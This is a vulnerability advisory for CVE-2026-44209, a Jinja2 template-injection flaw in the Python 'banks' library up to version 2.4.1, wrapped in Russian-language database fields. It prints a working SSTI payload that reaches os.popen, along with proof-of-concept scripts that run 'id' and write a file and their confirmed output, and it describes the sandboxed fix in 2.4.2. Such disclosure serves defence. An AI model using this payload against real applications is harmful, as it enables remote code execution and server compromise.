GHSA-gphh-9q3h-jgpp

Опубликовано: 08 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.5

Описание

banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.

Vulnerable Code

src/banks/env.py — the global Jinja2 environment is created without sandboxing:

env = Environment( autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False), ... )

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

# User-controlled input reaches Prompt() user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(user_input) p.text() # Executes arbitrary command on the host

Proof of Concept

Setup:

pip install banks==2.4.1

PoC script:

from banks import Prompt payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(payload) result = p.text() print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),... text **File-write proof:** ```python from banks import Prompt p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text()

ls -l /tmp/rce_banks_exec # -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.

Fix

Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().

Resources

Fix: https://github.com/masci/banks/pull/74
CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
CVE-2025-25362 (spacy-llm — identical root cause)
CWE-1336: Improper Neutralization of Special Elements in a Template Engine

Ссылки

Пакеты

Наименование

banks

pip

Затронутые версииВерсия исправления

<= 2.4.1

2.4.2

EPSS

Процентиль: 42%

0.00539

Низкий

7.5 High

CVSS3

CVE ID

CVE-2026-44209

Дефекты

CWE-1336

Связанные уязвимости

CVE-2026-44209

CVSS3: 7.5

redhat

2 месяца назад

Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.

CVE-2026-44209

CVSS3: 7.5

nvd

2 месяца назад

EPSS

Процентиль: 42%

0.00539

Низкий

7.5 High

CVSS3

CVE ID

CVE-2026-44209

Дефекты

CWE-1336